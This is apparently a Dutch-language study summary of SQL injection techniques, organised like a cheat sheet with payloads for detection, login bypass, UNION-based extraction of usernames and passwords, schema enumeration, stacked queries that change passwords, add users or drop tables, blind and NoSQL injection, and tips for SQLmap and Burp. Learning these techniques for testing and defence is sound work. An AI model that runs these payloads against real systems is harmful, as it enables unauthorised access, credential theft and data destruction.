In dit onderdeel ging het over input die in SQL-queries terechtkomt. De belangrijkste gevolgen waren data uitlezen, loginlogica manipuleren en database-informatie enumereren.
PortSwigger SQLi cheat sheet
Volledige payload-referentie per database-type.
In een oogopslag
Technieken in detail
Detecteren
Detecteren
- Voeg een enkele quote
'(of;) toe -> SQL-error = mogelijk kwetsbaar - Boolean-test:
OR 1=1(true) vsOR 1=2(false) -> verschil = kwetsbaar - String vs numeric: string zit tussen
'...'(uitbreken met'); numeric (?id=10) ->10 AND 1=2 --(met spatie!),/* */of#becommentarieert de rest weg
Login bypass
Login bypass
Query:
... WHERE user='$u' AND password='$p'- In het username-veld:
' OR 1=1 ---> password-check wordt comment - Gericht:
administrator' --of' OR 1=1 LIMIT 1 -- - Dubbele quotes:
" OR "1"="1
UNION attack
UNION attack
Resultaten van een tweede query aan de output plakken. Zelfde aantal kolommen + compatibele types.
1
Aantal kolommen
' ORDER BY 1 -- , 2 -- , … tot een error. Of ' UNION SELECT NULL,NULL -- tot geen error.2
String-kolom vinden
' UNION SELECT 'a',NULL,NULL -- -> schuif 'a' door tot ze zonder type-error toont.3
Data ophalen
' UNION SELECT username,password FROM users -- Alles in 1 kolom: ' UNION SELECT NULL,username||'~'||password FROM users -- Database onderzoeken
Database onderzoeken
- Versie:
' UNION SELECT @@version --(MySQL/MSSQL) ;version()(Postgres) ;v$version(Oracle) - Tabellen:
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='db' -- - Kolommen:
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' --
Data wijzigen (stacked queries)
Data wijzigen (stacked queries)
- Update:
'; UPDATE users SET password='123' WHERE username='Admin' -- - Insert:
'; INSERT INTO users (username,password) VALUES ('koenK','123') -- - Drop:
'; DROP TABLE access_log --
Blind SQLi
Blind SQLi
Geen data/error zichtbaar, alleen true/false-verschil.
- Boolean:
... id=1 AND 1=1(normaal) vsid=1 AND 1=2(anders/leeg) - Char per char:
' OR substring(database(),1,1)='b' --,' OR length(database())=5 -- - Traag -> automatiseer met SQLmap
NoSQL & second-order
NoSQL & second-order
- NoSQL (MongoDB): injecteer logica ->
' || true || 'retourneert alle records - Second-order: input wordt veilig opgeslagen maar later onveilig hergebruikt
Inputlocaties en encoding
De SQL-logica is overal identiek. Wat verschilt: encoding en gereedschap.- Input-veld (POST)
- URL / GET
- Headers / overig
Bij POST-velden werd de payload raw ingevoerd. De browser encodeert de request daarna zelf:Valkuil:
maxlength / type=number / JS-validatie -> onderschep met Burp.SQLmap
Handige SQLmap parameters
Voor een Burp-request is dit meestal de properste start:
Tools
SQLmap
Tool voor detectie, database-enumeratie en dumps.
Burp Suite
Handig om volledige requests te bewaren voor
sqlmap -r.Browser DevTools
Referentie voor errors, request parameters en responseverschillen.
PortSwigger SQLi cheat sheet
Payloads per database-type en aanvalsvorm.